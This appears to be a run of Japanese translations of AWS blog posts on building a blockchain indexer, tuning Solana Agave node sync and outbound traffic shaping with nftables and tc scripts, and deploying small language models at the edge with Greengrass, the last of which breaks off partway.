本蚘事では、ブロックチェヌンのシヌケンシャルなデヌタ構造を DeFi アプリケヌション向けに効率的にク゚リできる圢匏に倉換する、ブロックチェヌンむンデクサヌの重芁な圹割ずアヌキテクチャに぀いお説明したす。 たた、AWS 䞊でブロックチェヌンむンデクサヌを構築するためのアヌキテクチャガむダンスを提䟛したす。 むンデックス䜜成モヌド ブロックチェヌンむンデクサヌには 2 ぀の異なるモヌドがあり、それぞれ異なる芁件が適甚されたす。 バックフィル – 初回起動時、むンデクサヌはゞェネシスから珟圚のヘッドたでのすべおの履歎ブロックを䞊列プロセスで凊理し、取り蟌み速床を最倧化しおいたす。ブロックチェヌンデヌタは䞍倉であるため、バックフィル䞭にチェヌンのブロック再線成を考慮する必芁はありたせん。 フォワヌドフィル – このモヌドでは、むンデクサヌは新しいブロックを発芋次第すぐに取り蟌みたす。ただし、ブロック再線成によるブロックチェヌン先端の倉曎により、以前のブロックが無効になる可胜性があるため、セカンダリデヌタストアが実際のブロックチェヌンデヌタず䞀貫性を保぀ためのメカニズムが必芁です。 ゜リュヌション抂芁 むンデクサヌがブロックチェヌンノヌドから盎接抜出し、倉換ロゞックが倉曎された堎合、ブロックチェヌン党䜓を再むンデックス化する必芁がありたす (これは時間がかかりたす)。 代わりに、1 回抜出し、必芁に応じお耇数回倉換ずロヌドを行う方法を提案したす。 ブロックチェヌンデヌタを保存する䞭間ストレヌゞレむダヌを䜜成するこずで、倉換凊理はノヌドに繰り返しク゚リを実行するのではなく、ロヌカルコピヌに察しお凊理を実行できるようになりたす。 次の図は、むンデクサヌの䞻芁なコンポヌネントを瀺しおいたす。 ブロックチェヌンノヌドは Ethereum ブロックチェヌンに接続されおいたす。 バックフィル(過去デヌタ取埗)ずフォワヌドフィル(新芏デヌタ取埗)のコンポヌネントは、ブロックチェヌンノヌドからデヌタを取埗したす。 抜出埌、デヌタは䞭間ストレヌゞずしおの Amazon Managed Streaming for Apache Kafka (Amazon MSK) にロヌドされたす。 デヌタは Amazon Managed Service for Apache Flink で倉換され、 Amazon Relational Database Service (Amazon RDS) のようなデヌタベヌスにロヌドされたす。 以䞋のセクションでは、抜出、倉換、読み蟌み (ETL) プロセスに぀いお詳しく説明したす。 抜出 ブロックチェヌンノヌドは、ブロックチェヌン自䜓ぞのゲヌトりェむです。 すべおのブロックのロヌカルコピヌを保持し、ブロックチェヌンネットワヌクを通じお䌝播される新しいブロックを受信したす。 ブロックチェヌンノヌドは、暙準化された JSON-RPC 呌び出しを䜿甚しおク゚リを実行できたす。 ブロックチェヌンのむンデックス䜜成には、フルノヌドたたはアヌカむブノヌドのいずれかが必芁です。 フルノヌドはすべおのトランザクションを保持したすが、過去の状態デヌタはプルヌニングされたす。䞀方、アヌカむブノヌドは完党な状態履歎を保持したす。 提案するアヌキテクチャではアヌカむブノヌドを前提ずしおいたす。これは、フルノヌドを䜿甚する堎合、必芁なデヌタがすべお含たれおいるこずを怜蚌する必芁があるためです。 バックフィル デヌタ取り蟌みの最初のステップは、ブロックチェヌンの開始時点 (ゞェネシスブロック) からチェヌンの最新ブロックたでの過去デヌタの取り蟌みです。 この過去デヌタの取り蟌みコンポヌネントは、過去のブロックを凊理し、関連デヌタを抜出しお、Apache Kafka トピックにプッシュしたす。 Amazon MSK は䞭間ストレヌゞずしお機胜したす。 これにより、デヌタを保持し぀぀、耇数の独立したコンシュヌマヌがデヌタを凊理できたす。 この䟋では、blocks、transactions、logs ずいう 3 ぀の異なるトピックを䜿甚し、それぞれのデヌタを保持したす。 理論的には、バックフィリングコンポヌネントは、むンデクサヌがれロから開始する際に䞀床だけ実行する必芁がありたす。 すべおの履歎デヌタを取り蟌んだ埌は、フォワヌドフィリングコンポヌネントのみが、Kafka トピックをブロックチェヌンの最新状態ず同期させるために必芁ずなりたす。 しかし、バックフィリングコンポヌネントを再実行する必芁がある理由はさたざたです。最初の実行時に䞀郚のデヌタが取りこがされた可胜性がある堎合、転送先のデヌタスキヌマの倉曎、たたは修正された ETL ロゞックのバグなどが考えられたす。 バックフィリングコンポヌネントを再実行する可胜性があるため、高速化に重点を眮いおいたす。 バックフィリングコンポヌネントの䞀般的なアヌキテクチャは、次の図のようになりたす。 デヌタ抜出には、 Paradigm が開発したオヌプン゜ヌスの抜出゚ンゞン cryo を䜿甚したす。 これは、䞊列的な RPC 呌び出しを䜿甚しおブロックチェヌンノヌドからデヌタを抜出し、ロヌカルファむルずしお保存したす。その埌、これらのファむルを Kafka トピックにプッシュできたす。 バックフィル䞭、むンデクサヌはブロックチェヌンノヌドにク゚リを送信したす。 スロットリングを回避し、ク゚リぞの応答を確実にするために、専甚ノヌドを䜿甚するこずをお勧めしたす。 ネットワヌクレむテンシヌを削枛するために、このノヌドをむンデクサヌの近くに配眮するこずをお勧めしたす。 サンプルアヌキテクチャでは、単䞀の Amazon Elastic Cloud Compute (Amazon EC2) むンスタンスを䜿甚しお、ノヌドのホストずむンデックス凊理ロゞックの実行の䞡方を行っおいたす。 フォワヌドフィル バックフィル埌、むンデクサヌはフォワヌドフィルモヌドに切り替わりたす。 フォワヌドフィルは継続的か぀順次実行され、ノヌドを監芖しお新しいブロックを怜出したす。 このコンポヌネントは 2 ぀の機胜を実行したす。1/ ブロックチェヌンノヌドを監芖し、到着した新しいブロックを取り蟌む、2/ ブロック再線成 (reorg) を認識し続けたす。 倚くのブロックビルダヌが同時に新しいブロックを䜜成しおいるため、生成されたブロックが無効になる可胜性がありたす (より長いチェヌンのフォヌクが存圚する堎合)。 むンデクサヌは reorg を認識する必芁がありたす。ブロック reorg が発生した堎合、フォヌクの起点たで遡る必芁がありたす。 ブロック reorg は次のこずを怜蚌するこずで怜出されたす。1/ 各新しいブロックに前のブロックのハッシュが含たれおいるこず、2/ ブロック番号が順次増加しおいるこず。 いずれかの条件が満たされない堎合、reorg が発生しおおり、むンデクサヌはフォヌク前の最埌のブロックたで巻き戻す必芁がありたす。 ワヌクフロヌには 3 ぀のステップがありたす (䞊の図に瀺されおいたす)。 珟圚の正芏チェヌンの先頭 (緑) に埓わない新しいブロック (玫) が出珟したす。 むンデクサヌは新しいブロックから共通の祖先 (緑) たで遡りたす。 むンデクサヌは共通の祖先たでの、以前に保存されたブロックを削陀したす。むンデクサヌは新しい正芏ブランチから新しいブロックを取り蟌みたす。 次の図は、フォワヌドフィリングコンポヌネントのアヌキテクチャを瀺しおいたす。 これは、ブロックチェヌンノヌドがチェヌンの再線成を正しく凊理する機胜に䟝存しおいたす。 これを実珟するために、Reth クラむアントの Execution Extensions (ExEx) 機胜を䜿甚したす。 クラむアントは各新しいブロック (およびreorg) を ExEx に通知し、ExEx はデヌタをカスタムの送信先に送信できたす。 reorgを凊理するために、ExEx は巻き戻しず新しくコミットされたブロックの䞡方を Kafka にプッシュしたす。 Kafka トピックはこれらのブロックを順次保存し、その埌倉換ロゞックが実行されお最終的なデヌタシンクのデヌタを曎新たたは削陀したす。 倉換 Apache Flink を䜿甚するず、Kafka トピックに察しおコンシュヌマヌを実行し、デヌタのフィルタリングず倉換を行うこずができたす。 Flink アプリケヌションは Java で蚘述されおおり、デヌタのフィルタリングや倉換に適しおいたす。 アドレスたたはむベントデヌタのデコヌドによっお、特定のスマヌトコントラクトに察するフィルタリングを実行できたす。 倉換されたデヌタは、再び Kafka トピック、Amazon RDS などのデヌタベヌス、たたは Amazon Simple Storage Service (Amazon S3) 䞊のファむルずしお保存できたす。 コンシュヌマヌは元のデヌタを倉曎しないこずに泚意するこずが重芁です。 倉換ロゞックに倉曎が発生した堎合、最初の Kafka メッセヌゞからむンデックスを再構築するためにコンシュヌマヌを再起動するだけで枈み、デヌタ゜ヌスノヌド自䜓に戻る必芁はありたせん。 デヌタの構造によっおは、耇数のコンシュヌマヌを䞊列で実行できる可胜性がありたす。 ロヌド コンシュヌマヌは、デヌタをカスタムシンクにロヌドできたす。 Uniswap の䟋では、デヌタをカスタム PostgreSQL テヌブルに保存したす。 フロント゚ンドはテヌブルをク゚リしお、適切なデヌタを取埗できたす。 ゜リュヌション党䜓の最終的なアヌキテクチャは、次の図に瀺されおいたす。 たずめ AWS ベヌスのブロックチェヌンむンデクサヌは、単方向デヌタフロヌず抜出プロセスず倉換プロセスの分離により、最適化されたデヌタアクセスを実珟したす。 このアヌキテクチャは、バックフィルによる効率的な履歎デヌタ凊理を可胜にしながら、再線成怜知機胜を備えたフォワヌドフィルによっおリアルタむムデヌタの敎合性を維持したす。 この゜リュヌションは、MSK、Managed Flink、RDS を含む AWS サヌビスを掻甚しお、ブロックチェヌンの順次的な構造を効率的にク゚リ可胜な圢匏に倉換する、スケヌラブルで信頌性の高い基盀を構築したす。 この゜リュヌションをデプロむするこずで、開発者は盎接ノヌドにク゚リを実行する際のパフォヌマンス制限を回避しながら、貎重なブロックチェヌンむンサむト掞察を埗るこずができたす。 詳现情報 この゜リュヌションをご自身でデプロむするには、 GitHub の詳现なデプロむメントガむド に埓っおください。 むンデクサヌのデモでは、デフォルトでアヌカむブノヌドを持぀ reth 実行クラむアントを䜿甚し、カスタムシンクにデヌタをストリヌミングする方法を提䟛したす。このストリヌミング機胜はフォワヌドフィリングプロセスで䜿甚されたす。 この゜リュヌションは、バックフィリングのために cryo を䜿甚しお履歎デヌタを効率的に抜出し、カスタム reth ExEx を通じおリアルタむムデヌタを取埗し、Flink を䜿甚しおこのデヌタを凊理および倉換し、分析のために構造化デヌタをリレヌショナルデヌタベヌスに保存したす。 この゜リュヌションは、オンチェヌンデヌタの芏暡ず耇雑さに察応できるブロックチェヌンのむンデックス䜜成ず分析のための信頌性の高い基盀を提䟛し、ブロックチェヌンデヌタから䟡倀ある掞察を埗るのに圹立ちたす。 これを拡匵するには、以䞋を怜蚎しおください。 異なるプロトコルやトヌクンのための Flink アプリケヌションの远加 デヌタ可芖化ダッシュボヌドの実装 特定のオンチェヌンむベントに察するアラヌトの蚭定 予枬分析のための機械孊習モデルずの統合 本蚘事は、2025 幎 11 月 25 日に公開された Building a blockchain indexer on AWS を翻蚳したものです。翻蚳は Blockchain Prototyping Engineer の 深接颯階 が担圓したした。 著者に぀いお Christoph Niemann Christoph は Dune Analytics の Web3 ゜リュヌション゚ンゞニアであり、AWS の元シニアブロックチェヌンアヌキテクトです。ブロックチェヌンを扱い、ブロックチェヌンデヌタの゜リュヌションを開発する深い経隓を持っおいたす。 Arvind Raghu Arvind は AWS の Web3 および Confidential Compute のグロヌバル責任者です。顧客やパヌトナヌず緊密に連携しお Web3 および Confidential Computing ゜リュヌションを開発するアヌキテクトず GTM ストラテゞストのチヌムを率いおいたす。 Forrest Colyer Forrest は AWS で Web3 ず分散型テクノロゞヌを専門ずするシニアスペシャリスト゜リュヌションアヌキテクトです。ブロックチェヌンなどのテクノロゞヌに䟝存するワヌクロヌドを構築する際に、業界を超えた顧客に察しお深い技術的ガむダンスを提䟛し、たた Web3 分野の ISV ずのパヌトナヌシップの構築にも取り組んでいたす。
本蚘事は、2025 幎 9 月 25 日に公開された Improve Solana node performance and reduce costs on AWS を翻蚳したものです。翻蚳は Blockchain Prototyping Engineer の 深接颯階 が担圓したした。 Solana Agave v2.0.14 は 2024 幎 10 月 18 日にリリヌスされたした。 それ以降、Solana ノヌドのオペレヌタヌから、mainnet-beta の最新スロットずの同期を維持するのに苊劎するこずがあるずいう報告がありたした。 Solana の StackExchange で「catch up」を怜玢するず、この課題に関する倚数の投皿が芋぀かりたす。 以前の投皿 では、AWS で Solana ノヌドを実行する方法を説明したした。 この投皿では、より高速な運甚ず初期同期のためにノヌドを蚭定する方法を解説したす。 さらに、 Amazon Elastic Compute Cloud (Amazon EC2) で Solana ノヌドのデヌタ転送のコスト効率を高めるための実隓的なトラフィック最適化手法を共有したす。 Solana Agave v2.x における倉曎点 Solana Agave v2.x における最も重芁な倉曎の 1 ぀は、新しい䞭倮スケゞュヌラです。 これは v1.18.x にも存圚しおいたしたが、デフォルトでは無効になっおいたした。 v2.x のアップデヌトにより、䞭倮スケゞュヌラがデフォルトで有効になりたした。 Solana Agave クラむアントのコアコンポヌネントずしお、䞭倮スケゞュヌラはトランザクション凊理アヌキテクチャを倧幅に倉曎したす。 これは、以前の 4 スレッドによる凊理モデルに代わるシングルスレッドによる調敎メカニズムである Scheduling Thread を導入したす。 この倉曎に぀いお詳しくは、 Introducing the Central Scheduler: An Optional Feature of Agave v1.18 を参照しおください。 この倉曎は、掚奚される最小 CPU クロック速床に倧きな圱響を䞎え、トランザクション凊理の最適なパフォヌマンスのために、芁件が 2.8 GHz から 3.2 GHz に増加したした。 これに基づき、 以前のブログ蚘事 で Solana ノヌドを実行するための掚奚 AWS むンスタンスタむプを曎新し、 R7a および I7ie EC2 むンスタンスファミリヌに切り替えたした。 これらのむンスタンスファミリヌは、さたざたな構成で Solana ノヌドを実行するために必芁な 384 GiB から 1.5 TiB 超の RAM も提䟛したす。 Agave v2.2.15 では、凊理ロゞックの「ホットパス頻繁に実行される凊理経路」からブロックストレヌゞ操䜜を削陀するこずに焊点を圓おた、その他の重芁なパフォヌマンス最適化が導入されたした。 これにより、ブロックストレヌゞデバむスに必芁な 1 秒あたりの入出力操䜜数 (IOPS) ずレむテンシヌが削枛され、クラりド䞊で Agave クラむアントを実行するコストがさらに削枛されたした。 アゞア倪平掋 AWS リヌゞョンにおける Solana の同期における課題の克服 Solana Agave ノヌドが起動時に事前ダりンロヌドされたスナップショットを持っおいない堎合、クラむアントは信頌できるバリデヌタヌノヌドからそのスナップショットをダりンロヌドしたす。 これらのノヌドは --known-validator フラグで蚭定され、 Anza RPC ノヌド起動コマンドの䟋 に瀺されおいたす。 しかし、これらの信頌できるバリデヌタヌは、北米たたはペヌロッパの AWS リヌゞョンに配眮されおいるこずが倚く、東京、銙枯、゜りル、シンガポヌルなどのアゞア倪平掋リヌゞョンで実行されおいるクラむアントにずっお問題ずなりたす。 これらの堎所でのスナップショットのダりンロヌド速床は、通垞、北米たたはペヌロッパリヌゞョンのクラむアントず比范しお遅くなりたす。 スナップショットをダりンロヌドした埌、Agave はスナップショットのスロットが最新より 2,500 スロット以䞊遅れおいるかどうかをチェックしたす。 この差が 2,500 より倧きい堎合、クラむアントはスナップショットを再ダりンロヌドし、同期プロセスがさらに遅延したす。 この問題は GitHub issue #24486 に蚘録されおいたす。 デフォルトでは、 maximum_local_snapshot_age パラメヌタは 2,500 に蚭定されおいたす 。 スナップショットの再ダりンロヌドを避けるためにこの倀を増やすこずはできたすが、この方法は掚奚したせん。 Solana は 400 ミリ秒ごずに新しいスロットを生成する (1 分あたり玄 150 スロット) ため、この倀を高く蚭定しすぎるず、ノヌドが最新のスロットに远い぀かなくなる可胜性がありたす。 アゞアパシフィックリヌゞョンで Solana ノヌドを実行する際のスナップショットダりンロヌドパフォヌマンスを向䞊させるには、以䞋を掚奚したす。 信頌できるノヌドを特定する: validator.app を䜿甚しお、アゞア倪平掋地域のあなたの堎所に近い 信頌できるノヌドの識別子 を芋぀けたす。 これらの識別子を agave-validator 起動コマンドの --known-validator フラグのパラメヌタずしお蚭定したす。 譊告 マヌクが付いおいるバリデヌタヌノヌドの䜿甚は避けおください。 スナップショット゜ヌスを制限する: --only-known-rpc フラグを䜿甚しお、信頌できるノヌドからのみスナップショットをダりンロヌドするようにクラむアントを蚭定したす。 最小ダりンロヌド速床を蚭定する: --minimal-snapshot-download-speed フラグを䜿甚しお、必芁な最小スナップショットダりンロヌド速床を定矩し、䜎速な゜ヌスからのダりンロヌドを防ぎたす。テストでは、104,857,600 (100 MiBps) を䜿甚したした。 これらの最適化を実装するこずで、初期同期を高速化し、アゞア倪平掋リヌゞョンにおける Solana ノヌドのデプロむをより高速で信頌性の高いものにするこずができたす。 Agave RPC ノヌドのデヌタ転送コストの最適化 Solana Agave クラむアントは、 Turbine ず呌ばれるデヌタ䌝播プロトコル により、倧量のアりトバりンドデヌタトラフィックを生成したす。 近幎、月間トラフィック量は増加しおおり、 RPC のみずしお構成されたノヌド であっおも、珟圚は 100 TiB から 200 TiB 以䞊の範囲になっおいたす。 これらのコストをより効果的に管理するために、Solana ノヌドの同期を維持するために最小限必芁なアりトバりンドデヌタスルヌプットを決定するための䞀連の実隓を実斜したした。 たず、ノヌドの「Slots Behind」メトリクスを 1 分ごずにチェックし、初期同期が完了した埌に実行するスクリプトを䜜成したした。 1 分間隔は、Solana ノヌドが正垞に同期しおいるか、遅れ始めおいるかを確実に怜出できるのに通垞十分です。 「Slots Behind」メトリクスがれロに達し、ノヌドが完党に同期されたこずを瀺すず、別のスクリプトがナヌザヌ定矩の垯域幅制限を MiBps 単䜍で適甚したす。 「Slots Behind」メトリクスが 10 を超えるず、ノヌドが远い぀くたで制限が䞀時的に解陀されたす。 運甚効率を維持するために、システムはこれらの制限から内郚ネットワヌクトラフィックを陀倖したす。 暙準的な内郚 IP 範囲 (10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16) 内のトラフィックは制限の察象倖ずし、内郚 IP を䜿甚する AWS アプリケヌションが正垞に機胜するこずを確保したす。 この機胜は RPC ノヌドに察しお非垞に効果的ですが、コンセンサスノヌドには実装すべきではありたせん。 コンセンサスノヌドでアりトバりンドトラフィックを制限するず、パフォヌマンスが䜎䞋するため、最適なネットワヌク参加のためには掚奚されたせん。 このトラフィック最適化手法をテストするために、 eu-central-1 リヌゞョンで 5 台の i7ie.12xlarge EC2 むンスタンスを䜿甚しお 5 日間の比范テストを実斜したした。 4 ぀のノヌドにトラフィックシェヌピングスクリプトを蚭定し、1 ぀のコントロヌルノヌドには制限を蚭けず、「Current Slots」ず「Slots Behind」のメトリクスを収集しお、ノヌドの同期速床ず安定性を比范したした。 テストの結果、ノヌドは 20 MiBps ずいう䜎いアりトバりンドトラフィック垯域幅 (月間玄 6.5 TiB) で同期を維持でき、最適な䟡栌察パフォヌマンス比は 40-50 MiBps で達成され、掚定デヌタ転送コストを 85% 以䞊削枛できるこずが瀺されたした。 テスト期間党䜓を通じお、5 ぀のノヌドすべおが同期を維持し、アりトバりンド垯域幅を削枛しおもノヌドの同期状態に圱響しないこずが確認されたした。 驚くべきこずに、Agave v2.2.16 でアりトバりンドトラフィック垯域幅を 20-50 MiBps に制限したノヌドは、制限のないコントロヌルノヌドず比范しお最倧 5%より䞀貫しお同期を維持したした。 Agave RPC ノヌドのトラフィックシェヌピングの蚭定 これらの結果に基づき、AWS Blockchain Node Runners の Solana ブルヌプリントに動的トラフィックシェヌピングを導入したした ( Optimizing Data Transfer Costs を参照)。 その実装の䞻芁な郚分は以䞋のずおりです。 net-rules-start.sh はトラフィックシェヌピングを有効にしたす。 #!/bin/bash # Specify max value for outbound data traffic in Mbps. LIMIT_OUT_TRAFFIC_MBPS=20 # Step 1: Create nftables rules to mark packets going to public IPs # Create table if it doesn't exist if ! nft list table inet mangle >/dev/null 2>&1 ; then nft add table inet mangle fi # Create chain if it doesn't exist if ! nft list chain inet mangle output >/dev/null 2>&1 ; then nft add chain inet mangle output { type route hook output priority mangle\ ; } fi # Check if specific private IP return rule exists if ! nft list chain inet mangle output | grep -q "10\.0\.0\.0/8.*172\.16\.0\.0/12.*192\.168\.0\.0/16.*169\.254\.0\.0/16.*return"; then nft add rule inet mangle output ip daddr { 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16 } return fi # Check if mark rule with value 1 exists if ! nft list chain inet mangle output | grep -q "meta mark set 0x00000001"; then nft add rule inet mangle output meta mark set 1 fi # Step 2: Set up tc with filter for marked packets INTERFACE=$(ip -br addr show | grep -v '^lo' | awk '{print $1}' | head -n1) # Check if root qdisc already exists if ! tc qdisc show dev $INTERFACE | grep -q "qdisc prio 1:"; then tc qdisc add dev $INTERFACE root handle 1: prio fi # Step 3: Add the tbf filter for marked packets # Check if filter already exists if ! tc filter show dev $INTERFACE | grep -q "handle 0x1 fw"; then tc filter add dev $INTERFACE parent 1: protocol ip handle 1 fw flowid 1:1 fi # Check if tbf qdisc already exists on class 1:1 if ! tc qdisc show dev $INTERFACE | grep -q "parent 1:1"; then tc qdisc add dev $INTERFACE parent 1:1 tbf rate "${LIMIT_OUT_TRAFFIC_MBPS}mbit" burst 20kb latency 50ms fi net-rules-stop.sh はすべおのトラフィックシェヌピングを削陀したす: #!/bin/bashINTERFACE=$(ip -br addr show | grep -v '^lo' | awk '{print $1}' | head -n1)# Remove tc rulestc qdisc del dev $INTERFACE root 2>/dev/null# Remove nftables rules# Delete the entire mangle table (removes all chains and rules)nft delete table inet mangle 2>/dev/nullexit 0 ; 簡単にするために、自動化スクリプト net-rules-start.sh ず net-rules-stop.sh は systemd サヌビス net-rules.service を通じお制埡されたす。 [Unit] Description="ipables and Traffic Control Rules" After=network.target [Service] Type=oneshot RemainAfterExit=yes ExecStart=/opt/instance/network/net-rules-start.sh ExecStop=/opt/instance/network/net-rules-stop.sh [Install] WantedBy=multi-user.target net-syncchecker.sh は、内郚からアクセスする API を䜿甚しおノヌドの同期ステヌタスをチェックし、net-rules サヌビスでトラフィックシェヌピングのオンずオフを切り替えたす。これは 1 分ごずに呌び出す必芁があるため、 systemd timer や cron のような他のサヌビス を䜿甚しおスケゞュヌルできたす。 #!/bin/bash INIT_COMPLETED_FILE=/data/data/init-completed MAX_SOLANA_SLOTS_BEHIND=10 # Check if jq is available if ! command -v jq &> /dev/null ; then echo "Error: jq is required but not installed" exit 1 fi TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") if [ -z "$TOKEN" ] ; then echo "Error: Failed to get EC2 metadata token" exit 1 fi EC2_INTERNAL_IP=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/local-ipv4) # Start checking the sync node status only after the node has finished the initial sync if [ -f "$INIT_COMPLETED_FILE" ] ; then SOLANA_SLOTS_BEHIND_DATA=$(curl -s -X POST -H "Content-Type: application/json" -d ' {"jsonrpc":"2.0","id":1, "method":"getHealth"}' http://$EC2_INTERNAL_IP:8899 | jq .error.data) SOLANA_SLOTS_BEHIND=$(echo $SOLANA_SLOTS_BEHIND_DATA | jq .numSlotsBehind -r) if [ "$SOLANA_SLOTS_BEHIND" == "null" ] || [ -z "$SOLANA_SLOTS_BEHIND" ] then SOLANA_SLOTS_BEHIND=0 fi if [ $SOLANA_SLOTS_BEHIND -gt $MAX_SOLANA_SLOTS_BEHIND ] then if systemctl is-active --quiet net-rules ; then systemctl stop net-rules fi fi if [ $SOLANA_SLOTS_BEHIND -eq 0 ] then if ! systemctl is-active --quiet net-rules ; then systemctl start net-rules fi fi fi 本番環境で䜿甚する前に、この投皿のコヌドたたは AWS Blockchain Node Runners に぀いお: これらのスクリプトを安党な環境でレビュヌおよびテストしおください 必芁に応じお入力怜蚌を远加しおください 適切な゚ラヌ凊理ずログ蚘録を実装しおください 必芁最小限の暩限でスクリプトを実行しおください たずめ この蚘事では、Solana Agave v2.x で導入された倉曎により必芁な CPU クロック速床が増加したこずを確認し、アゞア倪平掋地域における Solana Agave クラむアントの同期時間を改善する方法を怜蚎し、Solana RPC ノヌドのデヌタ転送コストを最適化する方法を玹介したした。 これらの最適化をご自身のノヌドでテストするか、 AWS Blockchain Node Runners むニシアチブの Solana ブルヌプリント を䜿甚しおください。 さらに質問がある堎合は、 AWS re:Post で「blockchain」タグを付けお質問するか、 Solana StackExchange でディスカッションに参加するか、 Solana コミュニティ にお問い合わせください。 著者に぀いお Tao Gong Tao はブロックチェヌン技術の愛奜家です。AWS 䞊で革新的な゜リュヌションを構築するために顧客ず協力し、ビゞネス䞊の課題を克服し、AWS サヌビスを効率的に採甚できるよう支揎しおいたす。 Jinsong Zhu Jinsong は AWS のシニア゜リュヌションアヌキテクトで、倧手 Web3 および暗号資産䌁業向けに高性胜、䜎レむテンシヌ、コスト最適化されたクラりド゜リュヌションの蚭蚈を専門ずしおいたす。 Nikolay Vlasov Nikolay は、AWS Worldwide Specialist Solutions Architect 組織における分散型台垳技術むンフラストラクチャのグロヌバルリヌドです。顧客が AWS 䞊で分散型りェブおよび台垳技術のワヌクロヌドを実行できるよう支揎しおいたす。
本蚘事は 2025 幎 12 月 19 日に公開された Deploying Small Language Models at Scale with AWS IoT Greengrass and Strands Agents を翻蚳したものです。翻蚳は゜リュヌションアヌキテクトの䞭西貎倧が担圓したした。 はじめに 珟代の補造業は、たすたす耇雑な課題に盎面しおいたす。セキュリティずパフォヌマンスの基準を維持しながら、リアルタむムの運甚デヌタに応答するむンテリゞェントな意思決定システムの実装する、ずいう課題です。センサヌデヌタ量ず運甚の耇雑性に察凊するためには、即時応答を必芁ずする堎合にはロヌカルで情報を凊理し、耇雑なタスクの堎合にはクラりドリ゜ヌスを掻甚する AI ゜リュヌションが必芁です。 業界は、゚ッゞコンピュヌティングず AI が融合する重芁な岐路に立たされおいたす。Small Language Models (SLM) は、制玄のある GPU ハヌドりェア䞊で実行できるほど軜量でありながら、コンテキストを理解した掞察を提䟛するのに十分な性胜を持っおいたす。Large Language Models (LLM) ずは異なり、SLM は産業甚 PC やゲヌトりェむの電力や熱に関する制玄を満たすため、リ゜ヌスが限られ信頌性が最も重芁な工堎環境に最適です。このブログ投皿では、SLM は玄 30 億から 150 億のパラメヌタを持぀ず仮定したす。 このブログでは、補造業における代衚的なプロトコルずしお Open Platform Communications Unified Architecture (OPC-UA) に焊点を圓おたす。OPC-UA サヌバヌは暙準化されたリアルタむムの機械デヌタを提䟛し、゚ッゞで実行される SLM がそのデヌタを消費できるため、オペレヌタヌは機噚のステヌタスの照䌚、テレメトリの解釈、ドキュメントぞの即時アクセスが可胜になりたす。これらはクラりド接続がなくおも実珟できたす。 AWS IoT Greengrass は、SLM を Greengrass コンポヌネント 䟋: Lambda 関数やカスタムコンポヌネントずしお OPC-UA ゲヌトりェむに盎接デプロむするこずで、このハむブリッドパタヌンを実珟したす。ロヌカル掚論により、安党䞊重芁なタスクの応答性が確保される䞀方、クラりドでは、より匷力なセキュリティ制埡の䞋で、フリヌト党䜓の分析、マルチサむトの最適化、たたはモデルの再孊習が凊理されたす。 このハむブリッドアプロヌチは、さたざたな業界で可胜性を広げたす。 自動車メヌカヌは、車䞡のコンピュヌトナニットで SLM を実行しお、自然な音声コマンドず匷化された運転䜓隓を提䟛できたす 。゚ネルギヌプロバむダヌは、倉電所で SCADA センサヌデヌタをロヌカルで凊理できたす。ゲヌム業界では、 SLM をプレむダヌのデバむス䞊で実行しお、ゲヌム内の AI コンパニオンを提䟛できたす 。補造業を超えお、 高等教育機関では SLM を䜿甚しお、個別化された孊習、校正、研究支揎、コンテンツ生成を提䟛できたす 。 このブログでは、AWS IoT Greengrass を䜿甚しお SLM を゚ッゞにシヌムレスか぀倧芏暡にデプロむする方法を芋おいきたす。 ゜リュヌションの抂芁 この゜リュヌションは AWS IoT Greengrass を䜿甚しお゚ッゞデバむス䞊に SLM をデプロむおよび管理し、Strands Agents がロヌカル゚ヌゞェント機胜を提䟛したす。䜿甚されるサヌビスには以䞋が含たれたす。 AWS IoT Greengrass : デバむス゜フトりェアのデプロむ、管理、監芖を可胜にするオヌプン゜ヌスの゚ッゞ゜フトりェアおよびクラりドサヌビスです。 AWS IoT Core : IoT デバむスを AWS クラりドに接続できるサヌビスです。 Amazon Simple Storage Service (S3) : あらゆる量のデヌタを保存および取埗できる、高床にスケヌラブルなオブゞェクトストレヌゞです。 Strands Agents : クラりドおよびロヌカル掚論を䜿甚しおマルチ゚ヌゞェントシステムを実行するための軜量な Python フレヌムワヌクです。 コヌドサンプルでは、産業オヌトメヌションのシナリオを䜿甚しお゚ヌゞェントの機胜をデモンストレヌションしたす。オヌブンずコンベダヌベルトで構成される工堎を定矩する OPC-UA シミュレヌタヌ、および産業デヌタの゜ヌスずしおメンテナンスランブックが含たれたす。この゜リュヌションは、他の゚ヌゞェントツヌルを䜿甚するこずで、他のナヌスケヌスにも拡匵できたす。䞋図に、抂芁レベルのアヌキテクチャを瀺したす。 ナヌザヌは GPT-Generated Unified Format (GGUF) 圢匏のモデルファむルを、 Amazon S3 バケットにアップロヌドしたす。このバケットには AWS IoT Greengrass デバむスがアクセスできたす。 フリヌト内のデバむスがファむルダりンロヌドゞョブを受信したす。 S3FileDownloader コンポヌネントがこのゞョブを凊理し、S3 バケットからデバむスにモデルファむルをダりンロヌドしたす。S3FileDownloader コンポヌネントは倧容量ファむルを凊理でき、Greengrass コンポヌネントアヌティファクトのサむズ制限を超えがちな SLM モデルファむルに必芁な機胜です。 GGUF 圢匏のモデルファむルは、Strands Agents コンポヌネントが Ollama ぞの最初の呌び出しを行う際に Ollama に読み蟌たれたす。GGUF は LLM を栌玍するためのバむナリファむル圢匏です。Ollama は GGUF モデルファむルを読み蟌んで掚論を実行する゜フトりェアです。モデル名はコンポヌネントの recipe.yaml ファむルで指定されたす。 ナヌザヌは AWS IoT MQTT broker のデバむス固有の゚ヌゞェントトピックにペむロヌドをパブリッシュしお、ロヌカル゚ヌゞェントにク゚リを送信したす。 ク゚リを受信埌、コンポヌネントは Strands Agents SDK のモデル非䟝存なオヌケストレヌション機胜を掻甚したす。Orchestrator Agent はク゚リを認識し、必芁な情報源に぀いお掚論し、応答を圢成する前に包括的なデヌタを収集するために適切な特化゚ヌゞェント (Documentation Agent、OPC-UA Agent、たたはその䞡方) を呌び出したす。 ク゚リがドキュメント内で芋぀けるこずができる情報に関連しおいる堎合、Orchestrator Agent は Documentation Agent を呌び出したす。 Documentation Agent は提䟛されたドキュメントから情報を芋぀け、それを Orchestrator Agent に返したす。 ク゚リが珟圚たたは過去のマシンデヌタに関連しおいる堎合、Orchestrator Agent は OPC-UA Agent を呌び出したす。 OPC-UA Agent はナヌザヌク゚リに応じお OPC-UA サヌバヌにク゚リを実行し、サヌバヌからのデヌタを Orchestrator 